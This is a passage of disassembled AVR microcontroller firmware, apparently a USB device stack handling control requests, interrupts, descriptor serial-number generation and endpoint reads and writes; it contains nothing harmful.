766: 31 f1 breq .+76 ; 0x7b4
768: 80 91 e8 00 lds r24, 0x00E8
76c: 82 ff sbrs r24, 2
76e: f0 cf rjmp .-32 ; 0x750
770: 06 c0 rjmp .+12 ; 0x77e
772: 80 91 f1 00 lds r24, 0x00F1
776: 81 93 st Z+, r24
778: 61 50 subi r22, 0x01 ; 1
77a: 70 40 sbci r23, 0x00 ; 0
77c: 21 f0 breq .+8 ; 0x786
77e: 80 91 f2 00 lds r24, 0x00F2
782: 88 23 and r24, r24
784: b1 f7 brne .-20 ; 0x772
786: 80 91 e8 00 lds r24, 0x00E8
78a: 8b 77 andi r24, 0x7B ; 123
78c: 80 93 e8 00 sts 0x00E8, r24
790: 61 15 cp r22, r1
792: 71 05 cpc r23, r1
794: e9 f6 brne .-70 ; 0x750
796: 06 c0 rjmp .+12 ; 0x7a4
798: 8e b3 in r24, 0x1e ; 30
79a: 88 23 and r24, r24
79c: 49 f0 breq .+18 ; 0x7b0
79e: 8e b3 in r24, 0x1e ; 30
7a0: 85 30 cpi r24, 0x05 ; 5
7a2: 41 f0 breq .+16 ; 0x7b4
7a4: 80 91 e8 00 lds r24, 0x00E8
7a8: 80 ff sbrs r24, 0
7aa: f6 cf rjmp .-20 ; 0x798
7ac: 80 e0 ldi r24, 0x00 ; 0
7ae: 08 95 ret
7b0: 82 e0 ldi r24, 0x02 ; 2
7b2: 08 95 ret
7b4: 83 e0 ldi r24, 0x03 ; 3
7b6: 08 95 ret
7b8: 42 d0 rcall .+132 ; 0x83e
7ba: 44 d0 rcall .+136 ; 0x844
7bc: 1e ba out 0x1e, r1 ; 30
7be: 10 92 25 02 sts 0x0225, r1
7c2: 10 92 24 02 sts 0x0224, r1
7c6: 10 92 23 02 sts 0x0223, r1
7ca: 84 e0 ldi r24, 0x04 ; 4
7cc: 89 bd out 0x29, r24 ; 41
7ce: 89 b5 in r24, 0x29 ; 41
7d0: 82 60 ori r24, 0x02 ; 2
7d2: 89 bd out 0x29, r24 ; 41
7d4: 09 b4 in r0, 0x29 ; 41
7d6: 00 fe sbrs r0, 0
7d8: fd cf rjmp .-6 ; 0x7d4
7da: 80 91 d8 00 lds r24, 0x00D8
7de: 98 2f mov r25, r24
7e0: 9f 77 andi r25, 0x7F ; 127
7e2: 90 93 d8 00 sts 0x00D8, r25
7e6: 80 68 ori r24, 0x80 ; 128
7e8: 80 93 d8 00 sts 0x00D8, r24
7ec: 80 91 63 00 lds r24, 0x0063
7f0: 8e 7f andi r24, 0xFE ; 254
7f2: 80 93 63 00 sts 0x0063, r24
7f6: 80 91 d8 00 lds r24, 0x00D8
7fa: 8f 7d andi r24, 0xDF ; 223
7fc: 80 93 d8 00 sts 0x00D8, r24
800: 80 91 e0 00 lds r24, 0x00E0
804: 8e 7f andi r24, 0xFE ; 254
806: 80 93 e0 00 sts 0x00E0, r24
80a: 80 91 e1 00 lds r24, 0x00E1
80e: 8e 7f andi r24, 0xFE ; 254
810: 80 93 e1 00 sts 0x00E1, r24
814: 80 91 e2 00 lds r24, 0x00E2
818: 81 60 ori r24, 0x01 ; 1
81a: 80 93 e2 00 sts 0x00E2, r24
81e: 80 91 e1 00 lds r24, 0x00E1
822: 87 7f andi r24, 0xF7 ; 247
824: 80 93 e1 00 sts 0x00E1, r24
828: 80 91 e2 00 lds r24, 0x00E2
82c: 88 60 ori r24, 0x08 ; 8
82e: 80 93 e2 00 sts 0x00E2, r24
832: 08 95 ret
834: c1 df rcall .-126 ; 0x7b8
836: 81 e0 ldi r24, 0x01 ; 1
838: 80 93 26 02 sts 0x0226, r24
83c: 08 95 ret
83e: 10 92 e2 00 sts 0x00E2, r1
842: 08 95 ret
844: 10 92 e1 00 sts 0x00E1, r1
848: 08 95 ret
84a: 1f 92 push r1
84c: 0f 92 push r0
84e: 0f b6 in r0, 0x3f ; 63
850: 0f 92 push r0
852: 11 24 eor r1, r1
854: 1f 93 push r17
856: 2f 93 push r18
858: 3f 93 push r19
85a: 4f 93 push r20
85c: 5f 93 push r21
85e: 6f 93 push r22
860: 7f 93 push r23
862: 8f 93 push r24
864: 9f 93 push r25
866: af 93 push r26
868: bf 93 push r27
86a: ef 93 push r30
86c: ff 93 push r31
86e: e9 ee ldi r30, 0xE9 ; 233
870: f0 e0 ldi r31, 0x00 ; 0
872: 10 81 ld r17, Z
874: 17 70 andi r17, 0x07 ; 7
876: 10 82 st Z, r1
878: e0 ef ldi r30, 0xF0 ; 240
87a: f0 e0 ldi r31, 0x00 ; 0
87c: 80 81 ld r24, Z
87e: 87 7f andi r24, 0xF7 ; 247
880: 80 83 st Z, r24
882: 78 94 sei
884: c3 d0 rcall .+390 ; 0xa0c
886: f8 94 cli
888: a9 ee ldi r26, 0xE9 ; 233
88a: b0 e0 ldi r27, 0x00 ; 0
88c: 1c 92 st X, r1
88e: e0 ef ldi r30, 0xF0 ; 240
890: f0 e0 ldi r31, 0x00 ; 0
892: 80 81 ld r24, Z
894: 88 60 ori r24, 0x08 ; 8
896: 80 83 st Z, r24
898: 1c 93 st X, r17
89a: ff 91 pop r31
89c: ef 91 pop r30
89e: bf 91 pop r27
8a0: af 91 pop r26
8a2: 9f 91 pop r25
8a4: 8f 91 pop r24
8a6: 7f 91 pop r23
8a8: 6f 91 pop r22
8aa: 5f 91 pop r21
8ac: 4f 91 pop r20
8ae: 3f 91 pop r19
8b0: 2f 91 pop r18
8b2: 1f 91 pop r17
8b4: 0f 90 pop r0
8b6: 0f be out 0x3f, r0 ; 63
8b8: 0f 90 pop r0
8ba: 1f 90 pop r1
8bc: 18 95 reti
8be: 1f 92 push r1
8c0: 0f 92 push r0
8c2: 0f b6 in r0, 0x3f ; 63
8c4: 0f 92 push r0
8c6: 11 24 eor r1, r1
8c8: 2f 93 push r18
8ca: 3f 93 push r19
8cc: 4f 93 push r20
8ce: 5f 93 push r21
8d0: 6f 93 push r22
8d2: 7f 93 push r23
8d4: 8f 93 push r24
8d6: 9f 93 push r25
8d8: af 93 push r26
8da: bf 93 push r27
8dc: ef 93 push r30
8de: ff 93 push r31
8e0: 80 91 e1 00 lds r24, 0x00E1
8e4: 80 ff sbrs r24, 0
8e6: 1b c0 rjmp .+54 ; 0x91e
8e8: 80 91 e2 00 lds r24, 0x00E2
8ec: 80 ff sbrs r24, 0
8ee: 17 c0 rjmp .+46 ; 0x91e
8f0: 80 91 e1 00 lds r24, 0x00E1
8f4: 8e 7f andi r24, 0xFE ; 254
8f6: 80 93 e1 00 sts 0x00E1, r24
8fa: 80 91 e2 00 lds r24, 0x00E2
8fe: 8e 7f andi r24, 0xFE ; 254
900: 80 93 e2 00 sts 0x00E2, r24
904: 80 91 e2 00 lds r24, 0x00E2
908: 80 61 ori r24, 0x10 ; 16
90a: 80 93 e2 00 sts 0x00E2, r24
90e: 80 91 d8 00 lds r24, 0x00D8
912: 80 62 ori r24, 0x20 ; 32
914: 80 93 d8 00 sts 0x00D8, r24
918: 19 bc out 0x29, r1 ; 41
91a: 1e ba out 0x1e, r1 ; 30
91c: d1 d1 rcall .+930 ; 0xcc0
91e: 80 91 e1 00 lds r24, 0x00E1
922: 84 ff sbrs r24, 4
924: 29 c0 rjmp .+82 ; 0x978
926: 80 91 e2 00 lds r24, 0x00E2
92a: 84 ff sbrs r24, 4
92c: 25 c0 rjmp .+74 ; 0x978
92e: 84 e0 ldi r24, 0x04 ; 4
930: 89 bd out 0x29, r24 ; 41
932: 89 b5 in r24, 0x29 ; 41
934: 82 60 ori r24, 0x02 ; 2
936: 89 bd out 0x29, r24 ; 41
938: 09 b4 in r0, 0x29 ; 41
93a: 00 fe sbrs r0, 0
93c: fd cf rjmp .-6 ; 0x938
93e: 80 91 d8 00 lds r24, 0x00D8
942: 8f 7d andi r24, 0xDF ; 223
944: 80 93 d8 00 sts 0x00D8, r24
948: 80 91 e1 00 lds r24, 0x00E1
94c: 8f 7e andi r24, 0xEF ; 239
94e: 80 93 e1 00 sts 0x00E1, r24
952: 80 91 e2 00 lds r24, 0x00E2
956: 8f 7e andi r24, 0xEF ; 239
958: 80 93 e2 00 sts 0x00E2, r24
95c: 80 91 e2 00 lds r24, 0x00E2
960: 81 60 ori r24, 0x01 ; 1
962: 80 93 e2 00 sts 0x00E2, r24
966: 80 91 25 02 lds r24, 0x0225
96a: 88 23 and r24, r24
96c: 11 f4 brne .+4 ; 0x972
96e: 81 e0 ldi r24, 0x01 ; 1
970: 01 c0 rjmp .+2 ; 0x974
972: 84 e0 ldi r24, 0x04 ; 4
974: 8e bb out 0x1e, r24 ; 30
976: a4 d1 rcall .+840 ; 0xcc0
978: 80 91 e1 00 lds r24, 0x00E1
97c: 83 ff sbrs r24, 3
97e: 27 c0 rjmp .+78 ; 0x9ce
980: 80 91 e2 00 lds r24, 0x00E2
984: 83 ff sbrs r24, 3
986: 23 c0 rjmp .+70 ; 0x9ce
988: 80 91 e1 00 lds r24, 0x00E1
98c: 87 7f andi r24, 0xF7 ; 247
98e: 80 93 e1 00 sts 0x00E1, r24
992: 82 e0 ldi r24, 0x02 ; 2
994: 8e bb out 0x1e, r24 ; 30
996: 10 92 25 02 sts 0x0225, r1
99a: 80 91 e1 00 lds r24, 0x00E1
99e: 8e 7f andi r24, 0xFE ; 254
9a0: 80 93 e1 00 sts 0x00E1, r24
9a4: 80 91 e2 00 lds r24, 0x00E2
9a8: 8e 7f andi r24, 0xFE ; 254
9aa: 80 93 e2 00 sts 0x00E2, r24
9ae: 80 91 e2 00 lds r24, 0x00E2
9b2: 80 61 ori r24, 0x10 ; 16
9b4: 80 93 e2 00 sts 0x00E2, r24
9b8: aa dd rcall .-1196 ; 0x50e
9ba: 80 e0 ldi r24, 0x00 ; 0
9bc: 60 e0 ldi r22, 0x00 ; 0
9be: 42 e0 ldi r20, 0x02 ; 2
9c0: 93 dd rcall .-1242 ; 0x4e8
9c2: 80 91 f0 00 lds r24, 0x00F0
9c6: 88 60 ori r24, 0x08 ; 8
9c8: 80 93 f0 00 sts 0x00F0, r24
9cc: 79 d1 rcall .+754 ; 0xcc0
9ce: 80 91 e1 00 lds r24, 0x00E1
9d2: 82 ff sbrs r24, 2
9d4: 0a c0 rjmp .+20 ; 0x9ea
9d6: 80 91 e2 00 lds r24, 0x00E2
9da: 82 ff sbrs r24, 2
9dc: 06 c0 rjmp .+12 ; 0x9ea
9de: 80 91 e1 00 lds r24, 0x00E1
9e2: 8b 7f andi r24, 0xFB ; 251
9e4: 80 93 e1 00 sts 0x00E1, r24
9e8: 6b d1 rcall .+726 ; 0xcc0
9ea: ff 91 pop r31
9ec: ef 91 pop r30
9ee: bf 91 pop r27
9f0: af 91 pop r26
9f2: 9f 91 pop r25
9f4: 8f 91 pop r24
9f6: 7f 91 pop r23
9f8: 6f 91 pop r22
9fa: 5f 91 pop r21
9fc: 4f 91 pop r20
9fe: 3f 91 pop r19
a00: 2f 91 pop r18
a02: 0f 90 pop r0
a04: 0f be out 0x3f, r0 ; 63
a06: 0f 90 pop r0
a08: 1f 90 pop r1
a0a: 18 95 reti
a0c: 1f 93 push r17
a0e: df 93 push r29
a10: cf 93 push r28
a12: cd b7 in r28, 0x3d ; 61
a14: de b7 in r29, 0x3e ; 62
a16: ac 97 sbiw r28, 0x2c ; 44
a18: 0f b6 in r0, 0x3f ; 63
a1a: f8 94 cli
a1c: de bf out 0x3e, r29 ; 62
a1e: 0f be out 0x3f, r0 ; 63
a20: cd bf out 0x3d, r28 ; 61
a22: e7 e2 ldi r30, 0x27 ; 39
a24: f2 e0 ldi r31, 0x02 ; 2
a26: 80 91 f1 00 lds r24, 0x00F1
a2a: 81 93 st Z+, r24
a2c: 22 e0 ldi r18, 0x02 ; 2
a2e: ef 32 cpi r30, 0x2F ; 47
a30: f2 07 cpc r31, r18
a32: c9 f7 brne .-14 ; 0xa26
a34: 80 91 27 02 lds r24, 0x0227
a38: 30 91 28 02 lds r19, 0x0228
a3c: 35 30 cpi r19, 0x05 ; 5
a3e: 09 f4 brne .+2 ; 0xa42
a40: 87 c0 rjmp .+270 ; 0xb50
a42: 36 30 cpi r19, 0x06 ; 6
a44: 40 f4 brcc .+16 ; 0xa56
a46: 31 30 cpi r19, 0x01 ; 1
a48: c9 f1 breq .+114 ; 0xabc
a4a: 31 30 cpi r19, 0x01 ; 1
a4c: 70 f0 brcs .+28 ; 0xa6a
a4e: 33 30 cpi r19, 0x03 ; 3
a50: 09 f0 breq .+2 ; 0xa54
a52: 1d c1 rjmp .+570 ; 0xc8e
a54: 33 c0 rjmp .+102 ; 0xabc
a56: 38 30 cpi r19, 0x08 ; 8
a58: 09 f4 brne .+2 ; 0xa5c
a5a: ef c0 rjmp .+478 ; 0xc3a
a5c: 39 30 cpi r19, 0x09 ; 9
a5e: 09 f4 brne .+2 ; 0xa62
a60: fe c0 rjmp .+508 ; 0xc5e
a62: 36 30 cpi r19, 0x06 ; 6
a64: 09 f0 breq .+2 ; 0xa68
a66: 13 c1 rjmp .+550 ; 0xc8e
a68: 92 c0 rjmp .+292 ; 0xb8e
a6a: 80 38 cpi r24, 0x80 ; 128
a6c: 21 f0 breq .+8 ; 0xa76
a6e: 82 38 cpi r24, 0x82 ; 130
a70: 09 f0 breq .+2 ; 0xa74
a72: 0d c1 rjmp .+538 ; 0xc8e
a74: 08 c0 rjmp .+16 ; 0xa86
a76: 90 91 23 02 lds r25, 0x0223
a7a: 80 91 24 02 lds r24, 0x0224
a7e: 88 23 and r24, r24
a80: 99 f0 breq .+38 ; 0xaa8
a82: 92 60 ori r25, 0x02 ; 2
a84: 11 c0 rjmp .+34 ; 0xaa8
a86: 80 91 2b 02 lds r24, 0x022B
a8a: 87 70 andi r24, 0x07 ; 7
a8c: 80 93 e9 00 sts 0x00E9, r24
a90: 80 91 eb 00 lds r24, 0x00EB
a94: 90 e0 ldi r25, 0x00 ; 0
a96: 25 e0 ldi r18, 0x05 ; 5
a98: 96 95 lsr r25
a9a: 87 95 ror r24
a9c: 2a 95 dec r18
a9e: e1 f7 brne .-8 ; 0xa98
aa0: 98 2f mov r25, r24
aa2: 91 70 andi r25, 0x01 ; 1
aa4: 10 92 e9 00 sts 0x00E9, r1
aa8: 80 91 e8 00 lds r24, 0x00E8
aac: 87 7f andi r24, 0xF7 ; 247
aae: 80 93 e8 00 sts 0x00E8, r24
ab2: 90 93 f1 00 sts 0x00F1, r25
ab6: 10 92 f1 00 sts 0x00F1, r1
aba: ca c0 rjmp .+404 ; 0xc50
abc: 88 23 and r24, r24
abe: 19 f0 breq .+6 ; 0xac6
ac0: 82 30 cpi r24, 0x02 ; 2
ac2: 09 f0 breq .+2 ; 0xac6
ac4: e4 c0 rjmp .+456 ; 0xc8e
ac6: 90 e0 ldi r25, 0x00 ; 0
ac8: 8f 71 andi r24, 0x1F ; 31
aca: 90 70 andi r25, 0x00 ; 0
acc: 00 97 sbiw r24, 0x00 ; 0
ace: 21 f0 breq .+8 ; 0xad8
ad0: 02 97 sbiw r24, 0x02 ; 2
ad2: 09 f0 breq .+2 ; 0xad6
ad4: dd c0 rjmp .+442 ; 0xc90
ad6: 0c c0 rjmp .+24 ; 0xaf0
ad8: 80 91 29 02 lds r24, 0x0229
adc: 81 30 cpi r24, 0x01 ; 1
ade: 09 f0 breq .+2 ; 0xae2
ae0: d7 c0 rjmp .+430 ; 0xc90
ae2: 10 92 24 02 sts 0x0224, r1
ae6: 33 30 cpi r19, 0x03 ; 3
ae8: 69 f5 brne .+90 ; 0xb44
aea: 80 93 24 02 sts 0x0224, r24
aee: 2a c0 rjmp .+84 ; 0xb44
af0: 80 91 29 02 lds r24, 0x0229
af4: 88 23 and r24, r24
af6: 31 f5 brne .+76 ; 0xb44
af8: 20 91 2b 02 lds r18, 0x022B
afc: 27 70 andi r18, 0x07 ; 7
afe: 09 f4 brne .+2 ; 0xb02
b00: c7 c0 rjmp .+398 ; 0xc90
b02: 20 93 e9 00 sts 0x00E9, r18
b06: 80 91 eb 00 lds r24, 0x00EB
b0a: 80 ff sbrs r24, 0
b0c: c1 c0 rjmp .+386 ; 0xc90
b0e: 33 30 cpi r19, 0x03 ; 3
b10: 21 f4 brne .+8 ; 0xb1a
b12: 80 91 eb 00 lds r24, 0x00EB
b16: 80 62 ori r24, 0x20 ; 32
b18: 13 c0 rjmp .+38 ; 0xb40
b1a: 80 91 eb 00 lds r24, 0x00EB
b1e: 80 61 ori r24, 0x10 ; 16
b20: 80 93 eb 00 sts 0x00EB, r24
b24: 81 e0 ldi r24, 0x01 ; 1
b26: 90 e0 ldi r25, 0x00 ; 0
b28: 02 c0 rjmp .+4 ; 0xb2e
b2a: 88 0f add r24, r24
b2c: 99 1f adc r25, r25
b2e: 2a 95 dec r18
b30: e2 f7 brpl .-8 ; 0xb2a
b32: 80 93 ea 00 sts 0x00EA, r24
b36: 10 92 ea 00 sts 0x00EA, r1
b3a: 80 91 eb 00 lds r24, 0x00EB
b3e: 88 60 ori r24, 0x08 ; 8
b40: 80 93 eb 00 sts 0x00EB, r24
b44: 10 92 e9 00 sts 0x00E9, r1
b48: 80 91 e8 00 lds r24, 0x00E8
b4c: 87 7f andi r24, 0xF7 ; 247
b4e: 83 c0 rjmp .+262 ; 0xc56
b50: 88 23 and r24, r24
b52: 09 f0 breq .+2 ; 0xb56
b54: 9c c0 rjmp .+312 ; 0xc8e
b56: 10 91 29 02 lds r17, 0x0229
b5a: 80 91 e8 00 lds r24, 0x00E8
b5e: 87 7f andi r24, 0xF7 ; 247
b60: 80 93 e8 00 sts 0x00E8, r24
b64: e8 dc rcall .-1584 ; 0x536
b66: 04 c0 rjmp .+8 ; 0xb70
b68: 8e b3 in r24, 0x1e ; 30
b6a: 88 23 and r24, r24
b6c: 09 f4 brne .+2 ; 0xb70
b6e: 90 c0 rjmp .+288 ; 0xc90
b70: 80 91 e8 00 lds r24, 0x00E8
b74: 80 ff sbrs r24, 0
b76: f8 cf rjmp .-16 ; 0xb68
b78: 81 2f mov r24, r17
b7a: 8f 77 andi r24, 0x7F ; 127
b7c: 11 f4 brne .+4 ; 0xb82
b7e: 92 e0 ldi r25, 0x02 ; 2
b80: 01 c0 rjmp .+2 ; 0xb84
b82: 93 e0 ldi r25, 0x03 ; 3
b84: 9e bb out 0x1e, r25 ; 30
b86: 80 68 ori r24, 0x80 ; 128
b88: 80 93 e3 00 sts 0x00E3, r24
b8c: 81 c0 rjmp .+258 ; 0xc90
b8e: 80 58 subi r24, 0x80 ; 128
b90: 82 30 cpi r24, 0x02 ; 2
b92: 08 f0 brcs .+2 ; 0xb96
b94: 7c c0 rjmp .+248 ; 0xc8e
b96: 80 91 29 02 lds r24, 0x0229
b9a: 90 91 2a 02 lds r25, 0x022A
b9e: 23 e0 ldi r18, 0x03 ; 3
ba0: 8c 3d cpi r24, 0xDC ; 220
ba2: 92 07 cpc r25, r18
ba4: 99 f5 brne .+102 ; 0xc0c
ba6: 5f b7 in r21, 0x3f ; 63
ba8: f8 94 cli
baa: de 01 movw r26, r28
bac: 15 96 adiw r26, 0x05 ; 5
bae: 4e e0 ldi r20, 0x0E ; 14
bb0: 20 e0 ldi r18, 0x00 ; 0
bb2: 30 e0 ldi r19, 0x00 ; 0
bb4: 61 e2 ldi r22, 0x21 ; 33
bb6: e4 2f mov r30, r20
bb8: f0 e0 ldi r31, 0x00 ; 0
bba: 60 93 57 00 sts 0x0057, r22
bbe: 84 91 lpm r24, Z+
bc0: 20 ff sbrs r18, 0
bc2: 03 c0 rjmp .+6 ; 0xbca
bc4: 82 95 swap r24
bc6: 8f 70 andi r24, 0x0F ; 15
bc8: 4f 5f subi r20, 0xFF ; 255
bca: 98 2f mov r25, r24
bcc: 9f 70 andi r25, 0x0F ; 15
bce: 89 2f mov r24, r25
bd0: 80 5d subi r24, 0xD0 ; 208
bd2: 8a 33 cpi r24, 0x3A ; 58
bd4: 08 f0 brcs .+2 ; 0xbd8
bd6: 89 5f subi r24, 0xF9 ; 249
bd8: 8c 93 st X, r24
bda: 11 96 adiw r26, 0x01 ; 1
bdc: 1c 92 st X, r1
bde: 11 97 sbiw r26, 0x01 ; 1
be0: 2f 5f subi r18, 0xFF ; 255
be2: 3f 4f sbci r19, 0xFF ; 255
be4: 12 96 adiw r26, 0x02 ; 2
be6: 24 31 cpi r18, 0x14 ; 20
be8: 31 05 cpc r19, r1
bea: 29 f7 brne .-54 ; 0xbb6
bec: 5f bf out 0x3f, r21 ; 63
bee: 8a e2 ldi r24, 0x2A ; 42
bf0: 8b 83 std Y+3, r24 ; 0x03
bf2: 83 e0 ldi r24, 0x03 ; 3
bf4: 8c 83 std Y+4, r24 ; 0x04
bf6: 80 91 e8 00 lds r24, 0x00E8
bfa: 87 7f andi r24, 0xF7 ; 247
bfc: 80 93 e8 00 sts 0x00E8, r24
c00: ce 01 movw r24, r28
c02: 03 96 adiw r24, 0x03 ; 3
c04: 6a e2 ldi r22, 0x2A ; 42
c06: 70 e0 ldi r23, 0x00 ; 0
c08: e4 dc rcall .-1592 ; 0x5d2
c0a: 11 c0 rjmp .+34 ; 0xc2e
c0c: 60 91 2b 02 lds r22, 0x022B
c10: ae 01 movw r20, r28
c12: 4f 5f subi r20, 0xFF ; 255
c14: 5f 4f sbci r21, 0xFF ; 255
c16: 2c dc rcall .-1960 ; 0x470
c18: bc 01 movw r22, r24
c1a: 00 97 sbiw r24, 0x00 ; 0
c1c: c9 f1 breq .+114 ; 0xc90
c1e: 80 91 e8 00 lds r24, 0x00E8
c22: 87 7f andi r24, 0xF7 ; 247
c24: 80 93 e8 00 sts 0x00E8, r24
c28: 89 81 ldd r24, Y+1 ; 0x01
c2a: 9a 81 ldd r25, Y+2 ; 0x02
c2c: 2b dd rcall .-1450 ; 0x684
c2e: 80 91 e8 00 lds r24, 0x00E8
c32: 8b 77 andi r24, 0x7B ; 123
c34: 80 93 e8 00 sts 0x00E8, r24
c38: 2b c0 rjmp .+86 ; 0xc90
c3a: 80 38 cpi r24, 0x80 ; 128
c3c: 41 f5 brne .+80 ; 0xc8e
c3e: 80 91 e8 00 lds r24, 0x00E8
c42: 87 7f andi r24, 0xF7 ; 247
c44: 80 93 e8 00 sts 0x00E8, r24
c48: 80 91 25 02 lds r24, 0x0225
c4c: 80 93 f1 00 sts 0x00F1, r24
c50: 80 91 e8 00 lds r24, 0x00E8
c54: 8e 77 andi r24, 0x7E ; 126
c56: 80 93 e8 00 sts 0x00E8, r24
c5a: 6d dc rcall .-1830 ; 0x536
c5c: 19 c0 rjmp .+50 ; 0xc90
c5e: 88 23 and r24, r24
c60: b1 f4 brne .+44 ; 0xc8e
c62: 90 91 29 02 lds r25, 0x0229
c66: 92 30 cpi r25, 0x02 ; 2
c68: 98 f4 brcc .+38 ; 0xc90
c6a: 80 91 e8 00 lds r24, 0x00E8
c6e: 87 7f andi r24, 0xF7 ; 247
c70: 80 93 e8 00 sts 0x00E8, r24
c74: 90 93 25 02 sts 0x0225, r25
c78: 5e dc rcall .-1860 ; 0x536
c7a: 80 91 25 02 lds r24, 0x0225
c7e: 88 23 and r24, r24
c80: 11 f4 brne .+4 ; 0xc86
c82: 83 e0 ldi r24, 0x03 ; 3
c84: 01 c0 rjmp .+2 ; 0xc88
c86: 84 e0 ldi r24, 0x04 ; 4
c88: 8e bb out 0x1e, r24 ; 30
c8a: 2d db rcall .-2470 ; 0x2e6
c8c: 01 c0 rjmp .+2 ; 0xc90
c8e: 28 db rcall .-2480 ; 0x2e0
c90: 80 91 e8 00 lds r24, 0x00E8
c94: 83 ff sbrs r24, 3
c96: 0a c0 rjmp .+20 ; 0xcac
c98: 80 91 eb 00 lds r24, 0x00EB
c9c: 80 62 ori r24, 0x20 ; 32
c9e: 80 93 eb 00 sts 0x00EB, r24
ca2: 80 91 e8 00 lds r24, 0x00E8
ca6: 87 7f andi r24, 0xF7 ; 247
ca8: 80 93 e8 00 sts 0x00E8, r24
cac: ac 96 adiw r28, 0x2c ; 44
cae: 0f b6 in r0, 0x3f ; 63
cb0: f8 94 cli
cb2: de bf out 0x3e, r29 ; 62
cb4: 0f be out 0x3f, r0 ; 63
cb6: cd bf out 0x3d, r28 ; 61
cb8: cf 91 pop r28
cba: df 91 pop r29
cbc: 1f 91 pop r17
cbe: 08 95 ret
cc0: 08 95 ret
cc2: 1f 93 push r17
cc4: 8e b3 in r24, 0x1e ; 30
cc6: 88 23 and r24, r24
cc8: 61 f0 breq .+24 ; 0xce2
cca: 10 91 e9 00 lds r17, 0x00E9
cce: 10 92 e9 00 sts 0x00E9, r1
cd2: 80 91 e8 00 lds r24, 0x00E8
cd6: 83 ff sbrs r24, 3
cd8: 01 c0 rjmp .+2 ; 0xcdc
cda: 98 de rcall .-720 ; 0xa0c
cdc: 17 70 andi r17, 0x07 ; 7
cde: 10 93 e9 00 sts 0x00E9, r17
ce2: 1f 91 pop r17
ce4: 08 95 ret
ce6: 08 95 ret
ce8: fc 01 movw r30, r24
cea: 8e b3 in r24, 0x1e ; 30
cec: 84 30 cpi r24, 0x04 ; 4
cee: 21 f5 brne .+72 ; 0xd38
cf0: 87 85 ldd r24, Z+15 ; 0x0f
cf2: 90 89 ldd r25, Z+16 ; 0x10
cf4: a1 89 ldd r26, Z+17 ; 0x11
cf6: b2 89 ldd r27, Z+18 ; 0x12
cf8: 00 97 sbiw r24, 0x00 ; 0
cfa: a1 05 cpc r26, r1
cfc: b1 05 cpc r27, r1
cfe: e1 f0 breq .+56 ; 0xd38
d00: 85 81 ldd r24, Z+5 ; 0x05
d02: 80 93 e9 00 sts 0x00E9, r24
d06: 80 91 e8 00 lds r24, 0x00E8
d0a: 82 ff sbrs r24, 2
d0c: 15 c0 rjmp .+42 ; 0xd38
d0e: 80 91 f2 00 lds r24, 0x00F2
d12: 88 23 and r24, r24
d14: 19 f4 brne .+6 ; 0xd1c
d16: 2f ef ldi r18, 0xFF ; 255
d18: 3f ef ldi r19, 0xFF ; 255
d1a: 04 c0 rjmp .+8 ; 0xd24
d1c: 80 91 f1 00 lds r24, 0x00F1
d20: 28 2f mov r18, r24
d22: 30 e0 ldi r19, 0x00 ; 0
d24: 80 91 f2 00 lds r24, 0x00F2
d28: 88 23 and r24, r24
d2a: 41 f4 brne .+16 ; 0xd3c
d2c: 80 91 e8 00 lds r24, 0x00E8
d30: 8b 77 andi r24, 0x7B ; 123
d32: 80 93 e8 00 sts 0x00E8, r24
d36: 02 c0 rjmp .+4 ; 0xd3c
d38: 2f ef ldi r18, 0xFF ; 255
d3a: 3f ef ldi r19, 0xFF ; 255
d3c: c9 01 movw r24, r18
d3e: 08 95 ret
d40: fc 01 movw r30, r24
d42: 8e b3 in r24, 0x1e ; 30
d44: 84 30 cpi r24, 0x04 ; 4
d46: 11 f5 brne .+68 ; 0xd8c
d48: 87 85 ldd r24, Z+15 ; 0x0f
d4a: 90 89 ldd r25, Z+16 ; 0x10
d4c: a1 89 ldd r26, Z+17 ; 0x11
d4e: b2 89 ldd r27, Z+18 ; 0x12
d50: 00 97 sbiw r24, 0x00 ; 0
d52: a1 05 cpc r26, r1
d54: b1 05 cpc r27, r1
d56: d1 f0 breq .+52 ; 0xd8c
d58: 81 81 ldd r24, Z+1 ; 0x01
d5a: 80 93 e9 00 sts 0x00E9, r24
d5e: 80 91 f2 00 lds r24, 0x00F2
d62: 88 23 and r24, r24
d64: a9 f0 breq .+42 ; 0xd90
d66: 90 91 e8 00 lds r25, 0x00E8
d6a: 80 91 e8 00 lds r24, 0x00E8
d6e: 8e 77 andi r24, 0x7E ; 126
d70: 80 93 e8 00 sts 0x00E8, r24
d74: 95 fd sbrc r25, 5
d76: 0c c0 rjmp .+24 ; 0xd90
d78: fd db rcall .-2054 ; 0x574
d7a: 98 2f mov r25, r24
d7c: 88 23 and r24, r24
d7e: 49 f4 brne .+18 ; 0xd92
d80: 80 91 e8 00 lds r24, 0x00E8
d84: 8e 77 andi r24, 0x7E ; 126
d86: 80 93 e8 00 sts 0x00E8, r24
d8a: 03 c0 rjmp .+6 ; 0xd92
d8c: 92 e0 ldi r25, 0x02 ; 2
d8e: 01 c0 rjmp .+2 ; 0xd92
d90: 90 e0 ldi r25, 0x00 ; 0
d92: 89 2f mov r24, r25
d94: 08 95 ret
d96: fc 01 movw r30, r24
d98: 8e b3 in r24, 0x1e ; 30
d9a: 84 30 cpi r24, 0x04 ; 4
d9c: 51 f4 brne .+20 ; 0xdb2
d9e: 87 85 ldd r24, Z+15 ; 0x0f
da0: 90 89 ldd r25, Z+16 ; 0x10
da2: a1 89 ldd r26, Z+17 ; 0x11
da4: b2 89 ldd r27, Z+18 ; 0x12
da6: 00 97 sbiw r24, 0x00 ; 0
da8: a1 05 cpc r26, r1
daa: b1 05 cpc r27, r1
dac: 11 f0 breq .+4 ; 0xdb2
dae: cf 01 movw r24, r30
db0: c7 cf rjmp .-114 ; 0xd40
db2: 08 95 ret
db4: 1f 93 push r17
db6: fc 01 movw r30, r24
db8: 16 2f mov r17, r22
dba: 8e b3 in r24, 0x1e ; 30
dbc: 84 30 cpi r24, 0x04 ; 4
dbe: d9 f4 brne .+54 ; 0xdf6
dc0: 87 85 ldd r24, Z+15 ; 0x0f
dc2: 90 89 ldd r25, Z+16 ; 0x10
dc4: a1 89 ldd r26, Z+17 ; 0x11
dc6: b2 89 ldd r27, Z+18 ; 0x12
dc8: 00 97 sbiw r24, 0x00 ; 0
dca: a1 05 cpc r26, r1
dcc: b1 05 cpc r27, r1
dce: 99 f0 breq .+38 ; 0xdf6
dd0: 81 81 ldd r24, Z+1 ; 0x01
dd2: 80 93 e9 00 sts 0x00E9, r24
dd6: 80 91 e8 00 lds r24, 0x00E8
dda: 85 fd sbrc r24, 5
ddc: 08 c0 rjmp .+16 ; 0xdee
dde: 80 91 e8 00 lds r24, 0x00E8
